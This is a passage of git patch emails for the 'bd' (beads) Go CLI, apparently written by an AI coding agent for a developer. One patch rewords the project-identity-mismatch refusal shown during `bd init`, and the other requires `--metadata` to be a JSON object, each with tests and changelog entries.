Harry Miller Date: Sat, 26 Sep 2026 03:12:04 -0700 Subject: [PATCH 077/624] fix(dolt): stop telling bd init not to run bd init on an identity mismatch (#5558) (#6745) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(dolt): stop telling bd init not to run bd init on an identity mismatch (#5558) Root cause: GH#4637 Part A made newServerMode run verifyProjectIdentity for a CreateIfMissing open whenever the database already existed on the server, so the check is now reachable from inside bd init (a re-init whose metadata.json already carries a project_id, against a server whose database of that name belongs to another project). The refusal it returns was written only for ordinary opens and ends in "Do NOT run 'bd init'", telling the user not to run the command they are running, with no remedy that works from there. Fix: extract the message into a pure projectIdentityMismatchError and pass cfg.CreateIfMissing through verifyProjectIdentity. The init-time variant names the database and points at remedies that apply to an init: re-run with bd init --database or --server-host/--server-port, or run bd doctor --fix / bd bootstrap when metadata.json is the stale side. The ordinary-open message is unchanged, and whether the check runs is unchanged. A unit test pins both variants. Agent-Signature: claude-code-opus-5-5-unknown-reasoning on behalf of Harry Miller Co-Authored-By: Claude Opus 5.5 (1M context) * fix(dolt): key the init wording on an explicit OpenedByInit, not CreateIfMissing (#6745 review) CreateIfMissing does not identify bd init. The library API (beads.OpenFromConfig, beads.OpenGated), bd doctor --fix and bd bootstrap open with it too, so they were getting the init-time advice on an identity mismatch, and doctor and bootstrap were told to run themselves. - New dolt.Config.OpenedByInit, set only by bd init's open (init.go), now selects the init wording. Whether the check runs is unchanged. - The init advice no longer presents `bd init --database` as a sure fix: checkExistingBeadsDataAt can refuse it as "already initialized" when metadata.json names an existing server database. The message says to follow init's own steps in that case, and names this project's server first. - TestCrossProject_IdentityCheck_ExistingDatabase_ForeignRejected now pins the wiring through New. A CreateIfMissing-only open keeps the ordinary-open advice, and an OpenedByInit open gets the init wording. It needs a Dolt server, so it runs in CI. Agent-Signature: claude-code-opus-5-5-unknown-reasoning on behalf of Harry Miller Co-Authored-By: Claude Opus 5.5 (1M context) * docs(changelog): match the #5558 entry to the OpenedByInit wiring Agent-Signature: claude-code-opus-5-5-unknown-reasoning on behalf of Harry Miller Co-Authored-By: Claude Opus 5.5 (1M context) * fix(dolt): align the init mismatch block, and narrow the #5558 repro Maintainer review fixup for PR #6745 (adopt-pr iteration 1). Synthesis and quality scorecard both say approve with no blocker or major findings; these are the non-gating nits, taken because all three sit in the material this PR exists to improve — the refusal message and the test that pins it. - Both reviewers flagged that the init variant interpolates the database name into the label column ("Database %q project ID:"), so the two ID values line up only for a 7-character name. Give the database its own line and restore the aligned pair the ordinary-open branch already uses. Rendered for a 5-, 9- and 30-character database name: both columns now line up in every case. - Rendering also turned up a line the diff alone does not show: the "already initialized" parenthetical was 84 columns in a block hand-wrapped at ~78. Rewrapped; every line of both messages is now <= 79. - The new test's subtest name ("create-if-missing") and doc comment still stated the selector commit d48a83655 deliberately rejected, and that the sibling assertion in cross_project_test.go now calls wrong. Re-keyed both on Config.OpenedByInit. - The CHANGELOG described the repro as plainly re-running `bd init` in an initialized workspace. That shape is intercepted before the store open by checkExistingBeadsData (cmd/bd/init.go:801-802, bypassed only by --reinit-local/--force), so it is not the reachable one; the refusal is reached when the open is redirected at another server or database. Restated as the condition rather than an unreachable recipe. The PR body carries the same wording and is left for the maintainer to amend at finalize. Deliberately not taken: the synthesis's one minor (pin `OpenedByInit: true` at cmd/bd/init.go:1382 with a cmd/bd assertion). The prescribed remedy — extract the dolt.Config construction at cmd/bd/init.go:1372-1389 into a testable builder — is a refactor of a literal that lives inside init's cobra RunE closure over ~15 captured locals, in the file whose worst_changed function is already the scorecard's complexity penalty (newServerMode, 51/101). That is not the "nearby, cheap, low-risk" cleanup the contract allows opportunistically, and the finding is non-gating. Worth a follow-up issue instead. Validation: go build ./... clean; go vet ./internal/storage/dolt clean; go test ./internal/storage/dolt -run 'TestProjectIdentityMismatchError_InitAdvice|TestCrossProject_IdentityCheck_ExistingDatabase_ForeignRejected|TestCrossProject_IdentityCheck_ExistingDatabase_MatchingSucceeds' all PASS against a live Dolt container. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Claude Opus 5.5 (1M context) Co-authored-by: Julian Knutsen --- CHANGELOG.md | 15 ++++ cmd/bd/init.go | 1 + internal/storage/dolt/cross_project_test.go | 17 +++++ .../dolt/identity_mismatch_message_test.go | 52 +++++++++++++ internal/storage/dolt/store.go | 73 +++++++++++++++---- 5 files changed, 145 insertions(+), 13 deletions(-) create mode 100644 internal/storage/dolt/identity_mismatch_message_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 1752b47d6..be27f39ae 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -157,6 +157,21 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 with no `--max-rows` flag to refuse. Rules are keyed on the full command path now. +- **`bd init` no longer tells you not to run `bd init` when it refuses a + foreign database** ([#5558](https://github.com/gastownhall/beads/issues/5558)). + When `bd init` opens a server database that already exists and belongs to a + different project — for example when `--server-host`/`--server-port`/ + `--database` point it somewhere other than this workspace's own server — it + correctly refuses with `PROJECT IDENTITY MISMATCH`, but the refusal was the + one written for ordinary opens, ending in "Do NOT run 'bd init'". The + init-time refusal now names the database and points at remedies that work + from there: point `bd init` at this project's server + (`--server-host`/`--server-port`) or an unused database name + (`--database`), or run `bd doctor --fix` / `bd bootstrap` if `metadata.json` + is the stale side. Only `bd init`'s own open gets this wording; every other + open, including the library API, `bd doctor --fix` and `bd bootstrap`, keeps + the existing message. + ### Changed - **Proxied-server refusals now say *why* they refuse.** The JSON a refused diff --git a/cmd/bd/init.go b/cmd/bd/init.go index 45e4b23cf..acc1b8a77 100644 --- a/cmd/bd/init.go +++ b/cmd/bd/init.go @@ -1379,6 +1379,7 @@ Non-interactive mode (--non-interactive or BD_NON_INTERACTIVE=1): ServerMode: initServerMode, ProxiedServer: initProxiedServer, CreateIfMissing: true, // bd init is the only path that should create databases + OpenedByInit: true, // shapes the identity-mismatch advice (GH#5558) AutoStart: initServerMode && os.Getenv("BEADS_DOLT_AUTO_START") != "0", ServerTLS: initDoltServerTLSFromEnv(), } diff --git a/internal/storage/dolt/cross_project_test.go b/internal/storage/dolt/cross_project_test.go index 73c47996f..9255d9d16 100644 --- a/internal/storage/dolt/cross_project_test.go +++ b/internal/storage/dolt/cross_project_test.go @@ -770,6 +770,23 @@ func TestCrossProject_IdentityCheck_ExistingDatabase_ForeignRejected(t *testing. if !strings.Contains(err.Error(), "PROJECT IDENTITY MISMATCH") { t.Fatalf("expected PROJECT IDENTITY MISMATCH error, got: %v", err) } + // CreateIfMissing alone is not bd init: the library API, bd doctor --fix + // and bd bootstrap open this way too, and keep the ordinary-open advice + // (GH#5558). Only Config.OpenedByInit selects the init wording. + if strings.Contains(err.Error(), "refusing to initialize") { + t.Errorf("a non-init CreateIfMissing open got the bd init wording: %v", err) + } + + initCfg := f.config() + initCfg.OpenedByInit = true + initStore, err := New(ctx, initCfg) + if err == nil { + initStore.Close() + t.Fatalf("expected identity mismatch error for the bd init open, got nil") + } + if !strings.Contains(err.Error(), "refusing to initialize") || strings.Contains(err.Error(), "Do NOT run 'bd init'") { + t.Errorf("the bd init open did not get the init wording: %v", err) + } } // TestCrossProject_IdentityCheck_ExistingDatabase_MatchingSucceeds is the diff --git a/internal/storage/dolt/identity_mismatch_message_test.go b/internal/storage/dolt/identity_mismatch_message_test.go new file mode 100644 index 000000000..2a82a99c8 --- /dev/null +++ b/internal/storage/dolt/identity_mismatch_message_test.go @@ -0,0 +1,52 @@ +package dolt + +import ( + "strings" + "testing" +) + +// TestProjectIdentityMismatchError_InitAdvice pins GH#5558: when the identity +// check fires inside bd init (Config.OpenedByInit), the refusal must not tell +// the user not to run the command they are running, and must name remedies that +// work from there. Every other open keeps its original advice — including a +// CreateIfMissing open, which is not by itself bd init. +func TestProjectIdentityMismatchError_InitAdvice(t *testing.T) { + const localID, dbID, database = "project-AAAA", "project-BBBB", "shared_db" + + t.Run("opened-by-init", func(t *testing.T) { + msg := projectIdentityMismatchError(localID, dbID, database, true).Error() + if strings.Contains(msg, "Do NOT run 'bd init'") { + t.Errorf("init-time refusal tells the user not to run bd init:\n%s", msg) + } + for _, want := range []string{ + "PROJECT IDENTITY MISMATCH", + localID, + dbID, + `"` + database + `"`, + "bd dolt status", + "bd init --database ", + "bd init --server-host --server-port ", + "bd doctor --fix", + "bd bootstrap", + } { + if !strings.Contains(msg, want) { + t.Errorf("init-time refusal missing %q:\n%s", want, msg) + } + } + }) + + t.Run("normal open", func(t *testing.T) { + msg := projectIdentityMismatchError(localID, dbID, database, false).Error() + for _, want := range []string{ + "PROJECT IDENTITY MISMATCH — refusing to connect", + localID, + dbID, + "bd dolt status", + "Do NOT run 'bd init' — your data likely exists, just on a different server.", + } { + if !strings.Contains(msg, want) { + t.Errorf("normal-open refusal missing %q:\n%s", want, msg) + } + } + }) +} diff --git a/internal/storage/dolt/store.go b/internal/storage/dolt/store.go index 0f769cdf4..1239dc892 100644 --- a/internal/storage/dolt/store.go +++ b/internal/storage/dolt/store.go @@ -435,6 +435,14 @@ type Config struct { // creation of shadow databases on the wrong server. CreateIfMissing bool + // OpenedByInit marks the open `bd init` makes. It only shapes the advice in + // a project-identity mismatch error (GH#5558), never whether the check runs. + // It is a field of its own because CreateIfMissing does not identify init: + // the library API (beads.OpenFromConfig, beads.OpenGated), `bd doctor --fix` + // and `bd bootstrap` open with CreateIfMissing too, and must not be told to + // re-run bd init. + OpenedByInit bool + // ServerMode indicates this config targets an external dolt sql-server // rather than the embedded Dolt engine. Set by the store factory based // on metadata.json dolt_mode or BEADS_DOLT_SERVER_MODE env var. @@ -2045,7 +2053,7 @@ func newServerMode(ctx context.Context, cfg *Config) (*DoltStore, error) { if cfg.Database == doltserver.GlobalDatabaseName { verifyErr = store.verifyGlobalProjectIdentity(ctx, cfg.BeadsDir) } else { - verifyErr = store.verifyProjectIdentity(ctx, cfg.BeadsDir) + verifyErr = store.verifyProjectIdentity(ctx, cfg.BeadsDir, cfg.OpenedByInit) } if verifyErr != nil { return nil, verifyErr @@ -2208,7 +2216,9 @@ func shouldPersistResolvedPortFile() bool { // verifyProjectIdentity checks that the database belongs to the expected project. // If both the local metadata.json and the database have a project_id, they must match. // Returns nil if verification passes or is not applicable (missing IDs = old setup). -func (s *DoltStore) verifyProjectIdentity(ctx context.Context, beadsDir string) error { +// openedByInit is Config.OpenedByInit: it only shapes the error's advice (see +// projectIdentityMismatchError), never whether the check runs. +func (s *DoltStore) verifyProjectIdentity(ctx context.Context, beadsDir string, openedByInit bool) error { if beadsDir == "" { return nil // can't verify without knowing beadsDir } @@ -2230,21 +2240,58 @@ func (s *DoltStore) verifyProjectIdentity(ctx context.Context, beadsDir string) } if localID != dbID { - return fmt.Errorf( - "PROJECT IDENTITY MISMATCH — refusing to connect\n\n"+ - " Local project ID (metadata.json): %s\n"+ - " Database project ID: %s\n\n"+ - "This means the Dolt server is serving a DIFFERENT project's database.\n"+ - "This can happen when:\n"+ - " - Another project's server is running on the same port\n"+ - " - The server restarted with a different data directory\n\n"+ - "To diagnose: bd dolt status\n"+ - "Do NOT run 'bd init' — your data likely exists, just on a different server.", - localID, dbID) + return projectIdentityMismatchError(localID, dbID, s.database, openedByInit) } return nil } +// projectIdentityMismatchError builds verifyProjectIdentity's refusal when +// metadata.json and the database disagree on project_id. +// +// openedByInit is true only for bd init's own open (Config.OpenedByInit), which +// since GH#4637 Part A runs this check against a database that already exists +// on the server. That caller IS bd init, so it must not be told "Do NOT run +// 'bd init'" (GH#5558); it gets the remedies that make sense from inside an +// init instead. Every other open, CreateIfMissing or not, keeps its original +// text. +func projectIdentityMismatchError(localID, dbID, database string, openedByInit bool) error { + if openedByInit { + return fmt.Errorf( + "PROJECT IDENTITY MISMATCH — refusing to initialize against an existing database\n\n"+ + // The database name is variable-length, so it gets its own line: + // interpolating it into a label would unalign the two ID columns. + " Database: %q\n"+ + " Local project ID (metadata.json): %s\n"+ + " Database project ID: %s\n\n"+ + "The Dolt server already has a database with this name, and it belongs to\n"+ + "a DIFFERENT project. bd init will not adopt or write to it.\n"+ + "This can happen when:\n"+ + " - Another project's server is running on the same port\n"+ + " - Another project already uses this database name on a shared server\n"+ + " - The server restarted with a different data directory\n\n"+ + "To diagnose: bd dolt status\n"+ + "To fix, point bd init at this project's data instead:\n"+ + " - this project's server: bd init --server-host --server-port \n"+ + " - an unused database: bd init --database \n"+ + " (if bd init then reports the workspace is already initialized,\n"+ + " follow those steps)\n"+ + "If this database really is this project's and metadata.json is stale,\n"+ + "run 'bd doctor --fix' or 'bd bootstrap' to reconcile metadata.json with it.", + database, localID, dbID) + } + return fmt.Errorf( + "PROJECT IDENTITY MISMATCH — refusing to connect\n\n"+ + " Local project ID (metadata.json): %s\n"+ + " Database project ID: %s\n\n"+ + "This means the Dolt server is serving a DIFFERENT project's database.\n"+ + "This can happen when:\n"+ + " - Another project's server is running on the same port\n"+ + " - The server restarted with a different data directory\n\n"+ + "To diagnose: bd dolt status\n"+ + "Do NOT run 'bd init' — your data likely exists, just on a different server.", + localID, dbID) +} + func (s *DoltStore) verifyGlobalProjectIdentity(ctx context.Context, beadsDir string) error { if beadsDir == "" { return nil From ce756a5b86f743ca56fb0d4ba981a335b929f957 Mon Sep 17 00:00:00 2001 From: Harry Miller Date: Sat, 26 Sep 2026 03:24:57 -0700 Subject: [PATCH 078/624] fix(metadata): require a JSON object for --metadata on create and update (#6035) (#6743) * fix(metadata): require a JSON object for --metadata on create and update (#6035) Root cause: the four --metadata entry points (create and update, each in its direct and proxied-server variant: create.go, create_input.go, update.go, update_input.go) carried copies of the same check, json.Valid, which accepts any JSON value. `bd create --metadata '"oops"'` therefore stored a bare string (or an array, number or null) as the issue's metadata. `bd update` with the same value was refused only late, by the storage-layer merge, with an internal unmarshal error. Fix: one shared readMetadataFlag helper resolves the value (inline or @file.json) and requires a top-level JSON object, refusing a string, number, boolean, array or null with "invalid --metadata: must be a JSON object such as {"key":"value"}, got ". The rule matches what the storage merge already enforces for update (it unmarshals into a map and rejects null), so `{}` stays accepted and null is now refused on create too, where it used to be stored literally. The storage layer is not changed. Not changed: an object whose value is a string that looks like JSON (`{"mykey":"{\"inner\":\"v\"}"}`, the nested case in the report) is still accepted and stored as written. Metadata values are opaque, and refusing such strings would be a design change, not a fix. Agent-Signature: claude-code-opus-5-5-unknown-reasoning on behalf of Harry Miller Co-Authored-By: Claude Opus 5.5 (1M context) * test(metadata): cover boolean and null in the end-to-end create/update case (#6743 review) Agent-Signature: claude-code-opus-5-5-unknown-reasoning on behalf of Harry Miller Co-Authored-By: Claude Opus 5.5 (1M context) * fix(metadata): correct the null-behavior claims and the --metadata help text (#6743 review) Maintainer review fixups for #6743. The review found no blocker and no major, and the scorecard approved with no required changes; these are its minors and nits. - The helper doc comment and the CHANGELOG entry both said the new object rule matches what the storage merge already enforced for update. That holds for a string, number, boolean or array, and is false for null: json.Unmarshal of the literal null into a map zeroes the map and returns no error, so MergeMetadataJSON merged nothing and `bd update --metadata null` exited 0. Refusing null is a real, if small, behavior change on update, so both surfaces now say that instead of claiming a non-change. - The --metadata help text on create and update advertised "JSON string", the one input this change exists to refuse; both now read "JSON object". The generated CLI docs are deliberately not regenerated alongside it: docs/cli-docs.pin is v1.2.2, so generate-cli-docs.sh builds bd from that tag rather than from the checkout, and the committed pages are refreshed at release. Verified both ways -- with this edit alone, check-doc-flags.sh Check 4 reports "PASS: generated CLI docs are fresh"; hand-editing docs/cli-reference/create.md to the new string instead makes it report "FAIL: docs/cli-reference is out of sync with live CLI help". - The `object == nil` arm of the guard is load-bearing and read as redundant to both reviewers, so it now says out loud that it is what catches null, and names internal/httpapi/batch_apply.go as the source of the idiom. Keeping the unmarshal rather than switching the guard to jsonKind preserves symmetry with that plane; the synthesis offered either. - jsonKind's "empty input" arm is unreachable from both callers, which sit behind json.Valid. Documented as defensive rather than dropped, because dropping it makes the byte index below panic for any future caller that has not validated first. - os.ReadFile's error is wrapped with %w, so callers of this newly shared helper can still reach fs.ErrNotExist. The PR body asserts the same null premise in two places (its `null` table row and the "keeps update's existing rule" bullet) and overstates HTTP-plane enforcement; those are corrected at finalize, since review iterations do not touch GitHub. No behavior change beyond the help string. `go test ./cmd/bd -run GH6035` passes; gofmt, go vet, check-doc-flags.sh and check-doc-freshness.sh clean. --------- Co-authored-by: Claude Opus 5.5 (1M context) Co-authored-by: Julian Knutsen --- CHANGELOG.md | 14 ++++ cmd/bd/create.go | 21 ++--- cmd/bd/create_embedded_test.go | 25 ++++++ cmd/bd/create_input.go | 19 +---- cmd/bd/metadata_flag.go | 78 +++++++++++++++++++ cmd/bd/metadata_flag_test.go | 135 +++++++++++++++++++++++++++++++++ cmd/bd/update.go | 23 ++---- cmd/bd/update_input.go | 18 +---- 8 files changed, 270 insertions(+), 63 deletions(-) create mode 100644 cmd/bd/metadata_flag.go create mode 100644 cmd/bd/metadata_flag_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index be27f39ae..c25ad9f72 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -148,6 +148,20 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 `backend_managed` is false on external proxied topologies, where the dolt server is not bd's process to report on. +- **`bd create --metadata` and `bd update --metadata` now require a JSON + object** ([#6035](https://github.com/gastownhall/beads/issues/6035)). Both + checked only that the value was valid JSON, so `bd create --metadata + '"oops"'` stored a bare string (or an array or number) as the issue's + metadata, while `bd update` refused the same value only late, in the + storage merge, with an internal unmarshal error. A shared check now refuses + a string, number, boolean, array or `null` up front on every create and + update path with `invalid --metadata: must be a JSON object`; `{}` is still + accepted. `null` is the one value update handled differently before: the + storage merge accepted it as a no-op and exited 0, so `bd update --metadata + null` now exits 1 where it used to silently change nothing. Values inside + the object stay opaque, so a string value that looks like JSON is kept as + written. + - **`bd mol ready --gated` no longer refuses under `--proxied-server` when `BEADS_MAX_ROWS` is set** ([#6293](https://github.com/gastownhall/beads/pull/6293)). The proxied diff --git a/cmd/bd/create.go b/cmd/bd/create.go index 58a421ece..8b3581dde 100644 --- a/cmd/bd/create.go +++ b/cmd/bd/create.go @@ -257,22 +257,11 @@ var createCmd = &cobra.Command{ var metadata json.RawMessage if cmd.Flags().Changed("metadata") { metadataValue, _ := cmd.Flags().GetString("metadata") - var metadataJSON string - if strings.HasPrefix(metadataValue, "@") { - filePath := metadataValue[1:] - // #nosec G304 -- user explicitly provides file path via @file.json syntax - data, err := os.ReadFile(filePath) - if err != nil { - return HandleError("failed to read metadata file %s: %v", filePath, err) - } - metadataJSON = string(data) - } else { - metadataJSON = metadataValue + parsed, err := readMetadataFlag(metadataValue) + if err != nil { + return HandleError("%v", err) } - if !json.Valid([]byte(metadataJSON)) { - return HandleError("invalid JSON in --metadata: must be valid JSON") - } - metadata = json.RawMessage(metadataJSON) + metadata = parsed } validateTemplate, _ := cmd.Flags().GetBool("validate") @@ -961,7 +950,7 @@ func init() { // --defer=tomorrow Hidden until tomorrow createCmd.Flags().String("due", "", "Due date/time. Formats: +6h, +1d, +2w, tomorrow, next monday, 2025-01-15") createCmd.Flags().String("defer", "", "Defer until date (issue hidden from bd ready until then). Same formats as --due") - createCmd.Flags().String("metadata", "", "Set custom metadata (JSON string or @file.json to read from file)") + createCmd.Flags().String("metadata", "", "Set custom metadata (JSON object, or @file.json to read from file)") // Note: --json flag is defined as a persistent flag in main.go, not here rootCmd.AddCommand(createCmd) } diff --git a/cmd/bd/create_embedded_test.go b/cmd/bd/create_embedded_test.go index 39f74c544..c7424bd2a 100644 --- a/cmd/bd/create_embedded_test.go +++ b/cmd/bd/create_embedded_test.go @@ -241,6 +241,31 @@ func TestEmbeddedCreate(t *testing.T) { } }) + // GH#6035: create stored a bare JSON string/array/number as metadata, + // and update rejected the same value only late, in the storage merge. + t.Run("metadata_must_be_object_GH6035", func(t *testing.T) { + dir, _, _ := bdInit(t, bd, "--prefix", "mo") + const want = "invalid --metadata: must be a JSON object" + target := bdCreate(t, bd, dir, "Metadata target", "--metadata", `{"a":1}`) + var metadata map[string]any + if err := json.Unmarshal(target.Metadata, &metadata); err != nil || metadata["a"] != float64(1) { + t.Fatalf("object metadata = %q, err = %v", target.Metadata, err) + } + for _, value := range []string{`"oops"`, `[1,2]`, `42`, `true`, `null`} { + if out := bdCreateFail(t, bd, dir, "Bad metadata", "--metadata", value); !strings.Contains(out, want) { + t.Fatalf("create --metadata %s output = %s, want %q", value, out, want) + } + if out := bdUpdateFail(t, bd, dir, target.ID, "--metadata", value); !strings.Contains(out, want) { + t.Fatalf("update --metadata %s output = %s, want %q", value, out, want) + } + } + got := bdShow(t, bd, dir, target.ID) + var after map[string]any + if err := json.Unmarshal(got.Metadata, &after); err != nil || len(after) != 1 || after["a"] != float64(1) { + t.Fatalf("rejected updates changed metadata to %q, err = %v", got.Metadata, err) + } + }) + t.Run("relationships_and_parent_journey", func(t *testing.T) { dir, beadsDir, _ := bdInit(t, bd, "--prefix", "rp") blocker := bdCreate(t, bd, dir, "Blocker") diff --git a/cmd/bd/create_input.go b/cmd/bd/create_input.go index aecf5c685..1181a1163 100644 --- a/cmd/bd/create_input.go +++ b/cmd/bd/create_input.go @@ -272,22 +272,11 @@ func gatherCreateInput(cmd *cobra.Command, args []string) (createInput, error) { if cmd.Flags().Changed("metadata") { metadataValue, _ := cmd.Flags().GetString("metadata") - var metadataJSON string - if strings.HasPrefix(metadataValue, "@") { - filePath := metadataValue[1:] - // #nosec G304 -- user explicitly provides file path via @file.json syntax - data, err := os.ReadFile(filePath) - if err != nil { - return in, HandleError("failed to read metadata file %s: %v", filePath, err) - } - metadataJSON = string(data) - } else { - metadataJSON = metadataValue + metadata, err := readMetadataFlag(metadataValue) + if err != nil { + return in, HandleError("%v", err) } - if !json.Valid([]byte(metadataJSON)) { - return in, HandleError("invalid JSON in --metadata: must be valid JSON") - } - in.metadata = json.RawMessage(metadataJSON) + in.metadata = metadata in.metadataSet = true } diff --git a/cmd/bd/metadata_flag.go b/cmd/bd/metadata_flag.go new file mode 100644 index 000000000..86d727a4d --- /dev/null +++ b/cmd/bd/metadata_flag.go @@ -0,0 +1,78 @@ +package main + +import ( + "encoding/json" + "fmt" + "os" + "strings" +) + +// readMetadataFlag resolves a --metadata flag value (inline JSON, or +// @file.json to read it from a file) and requires it to be a JSON object. +// +// create and update share it so both commands, proxied or not, agree on the +// shape (GH#6035). `{}` is accepted; a bare string, number, boolean, array, +// or null is refused here with a clear message instead of being stored as-is +// (create) or failing late in the merge (update). +// +// That is close to, but not the same as, what the storage merge enforced for +// update. storage.MergeMetadataJSON unmarshals the incoming document into a +// map, which rejects a string, number, boolean or array with an internal +// error -- but JSON null unmarshals into a map with no error at all, so +// `bd update --metadata null` used to exit 0 having merged nothing. Refusing +// null up front is therefore a deliberate (small) behavior change on update, +// not a restatement of the merge's rule. +// +// Values inside the object are opaque, so a string value that happens to look +// like JSON is kept verbatim. +func readMetadataFlag(value string) (json.RawMessage, error) { + metadataJSON := value + if strings.HasPrefix(value, "@") { + filePath := value[1:] + // #nosec G304 -- user explicitly provides file path via @file.json syntax + data, err := os.ReadFile(filePath) + if err != nil { + return nil, fmt.Errorf("failed to read metadata file %s: %w", filePath, err) + } + metadataJSON = string(data) + } + if !json.Valid([]byte(metadataJSON)) { + return nil, fmt.Errorf("invalid JSON in --metadata: must be valid JSON") + } + var object map[string]json.RawMessage + // The nil check is the arm that catches `null`: unmarshalling the JSON + // literal null into a map zeroes the map and reports no error, so testing + // err alone would let null through. Same idiom as the metadata checks in + // internal/httpapi/batch_apply.go. + if err := json.Unmarshal([]byte(metadataJSON), &object); err != nil || object == nil { + return nil, fmt.Errorf(`invalid --metadata: must be a JSON object such as {"key":"value"}, got %s`, jsonKind(metadataJSON)) + } + return json.RawMessage(metadataJSON), nil +} + +// jsonKind names the top-level kind of a valid JSON document for error text. +// +// The "empty input" arm is defensive, not a reachable case for the caller +// above: json.Valid is false for both "" and whitespace-only input, so a +// document that has already passed it can never trim to empty. It keeps the +// byte index below safe for any future caller that has not validated first. +func jsonKind(doc string) string { + trimmed := strings.TrimSpace(doc) + if trimmed == "" { + return "empty input" + } + switch trimmed[0] { + case '"': + return "a JSON string" + case '[': + return "a JSON array" + case 't', 'f': + return "a JSON boolean" + case 'n': + return "JSON null" + case '{': + return "a JSON object" + default: + return "a JSON number" + } +} diff --git a/cmd/bd/metadata_flag_test.go b/cmd/bd/metadata_flag_test.go new file mode 100644 index 000000000..5c33f44d2 --- /dev/null +++ b/cmd/bd/metadata_flag_test.go @@ -0,0 +1,135 @@ +package main + +import ( + "context" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/spf13/cobra" +) + +// GH#6035: --metadata only checked json.Valid, so `bd create --metadata +// '"oops"'` stored a bare JSON string as the metadata, while `bd update` +// with the same value failed late in the storage merge. Both commands now +// require a top-level JSON object up front. +const metadataObjectErr = "invalid --metadata: must be a JSON object" + +var nonObjectMetadata = []struct { + value string + kind string +}{ + {`"oops"`, "a JSON string"}, + {`[1,2]`, "a JSON array"}, + {`42`, "a JSON number"}, + {`true`, "a JSON boolean"}, + {`null`, "JSON null"}, +} + +func TestReadMetadataFlagRequiresObjectGH6035(t *testing.T) { + for _, tt := range nonObjectMetadata { + t.Run(tt.value, func(t *testing.T) { + _, err := readMetadataFlag(tt.value) + if err == nil { + t.Fatalf("readMetadataFlag(%s) accepted a non-object", tt.value) + } + if !strings.Contains(err.Error(), metadataObjectErr) || !strings.Contains(err.Error(), tt.kind) { + t.Fatalf("readMetadataFlag(%s) error = %q, want %q naming %q", tt.value, err, metadataObjectErr, tt.kind) + } + }) + } + + // Objects pass through verbatim, including a string value that happens + // to look like JSON: values inside the object are opaque. + for _, value := range []string{`{}`, `{"a":1}`, ` {"mykey":"{\"inner\":\"v\"}"} `} { + got, err := readMetadataFlag(value) + if err != nil { + t.Fatalf("readMetadataFlag(%s): %v", value, err) + } + if string(got) != value { + t.Fatalf("readMetadataFlag(%s) = %s, want it unchanged", value, got) + } + } + + if _, err := readMetadataFlag(`{"a":`); err == nil || !strings.Contains(err.Error(), "invalid JSON in --metadata") { + t.Fatalf("malformed JSON error = %v, want the invalid-JSON message", err) + } + + dir := t.TempDir() + objPath := filepath.Join(dir, "obj.json") + strPath := filepath.Join(dir, "str.json") + if err := os.WriteFile(objPath, []byte(`{"from":"file"}`), 0o600); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(strPath, []byte(`"oops"`), 0o600); err != nil { + t.Fatal(err) + } + if got, err := readMetadataFlag("@" + objPath); err != nil || string(got) != `{"from":"file"}` { + t.Fatalf("@file object = %s, %v", got, err) + } + if _, err := readMetadataFlag("@" + strPath); err == nil || !strings.Contains(err.Error(), metadataObjectErr) { + t.Fatalf("@file string error = %v, want %q", err, metadataObjectErr) + } +} + +func TestGatherCreateInputRejectsNonObjectMetadataGH6035(t *testing.T) { + for _, tt := range nonObjectMetadata { + t.Run(tt.value, func(t *testing.T) { + cmd := newCreateFlagsCommand(t, "--title", "Title", "--metadata", tt.value) + var err error + stderr := captureStderr(t, func() { + _, err = gatherCreateInput(cmd, nil) + }) + if err == nil { + t.Fatalf("gatherCreateInput accepted --metadata %s", tt.value) + } + if !strings.Contains(stderr, metadataObjectErr) { + t.Fatalf("stderr = %q, want %q", stderr, metadataObjectErr) + } + }) + } + + cmd := newCreateFlagsCommand(t, "--title", "Title", "--metadata", `{"a":1}`) + in, err := gatherCreateInput(cmd, nil) + if err != nil { + t.Fatalf("gatherCreateInput with an object: %v", err) + } + if string(in.metadata) != `{"a":1}` || !in.metadataSet { + t.Fatalf("metadata = %q, set = %t", in.metadata, in.metadataSet) + } +} + +func TestGatherUpdateInputRejectsNonObjectMetadataGH6035(t *testing.T) { + newCmd := func(value string) *cobra.Command { + cmd := &cobra.Command{Use: "update"} + cmd.Flags().String("metadata", "", "Set custom metadata") + if err := cmd.ParseFlags([]string{"--metadata", value}); err != nil { + t.Fatalf("parse update flags: %v", err) + } + return cmd + } + + for _, tt := range nonObjectMetadata { + t.Run(tt.value, func(t *testing.T) { + var err error + stderr := captureStderr(t, func() { + _, err = gatherUpdateInput(context.Background(), newCmd(tt.value)) + }) + if err == nil { + t.Fatalf("gatherUpdateInput accepted --metadata %s", tt.value) + } + if !strings.Contains(stderr, metadataObjectErr) { + t.Fatalf("stderr = %q, want %q", stderr, metadataObjectErr) + } + }) + } + + in, err := gatherUpdateInput(context.Background(), newCmd(`{"a":1}`)) + if err != nil { + t.Fatalf("gatherUpdateInput with an object: %v", err) + } + if string(in.mergeMetadataIn) != `{"a":1}` { + t.Fatalf("mergeMetadataIn = %q", in.mergeMetadataIn) + } +} diff --git a/cmd/bd/update.go b/cmd/bd/update.go index 8fb3ffc04..ac6a6f1e1 100644 --- a/cmd/bd/update.go +++ b/cmd/bd/update.go @@ -351,27 +351,14 @@ pointless).`, // Metadata flag (GH#1413) if cmd.Flags().Changed("metadata") { metadataValue, _ := cmd.Flags().GetString("metadata") - var metadataJSON string - if strings.HasPrefix(metadataValue, "@") { - // Read JSON from file - filePath := metadataValue[1:] - // #nosec G304 -- user explicitly provides file path via @file.json syntax - data, err := os.ReadFile(filePath) - if err != nil { - return HandleErrorRespectJSON("failed to read metadata file %s: %v", filePath, err) - } - metadataJSON = string(data) - } else { - metadataJSON = metadataValue - } - // Validate JSON - if !json.Valid([]byte(metadataJSON)) { - return HandleErrorRespectJSON("invalid JSON in --metadata: must be valid JSON") + metadata, err := readMetadataFlag(metadataValue) + if err != nil { + return HandleErrorRespectJSON("%v", err) } // Passed as a merge OPERATION, not a pre-merged value: the storage // layer re-reads and merges inside the mutation transaction so a // concurrent writer's keys survive 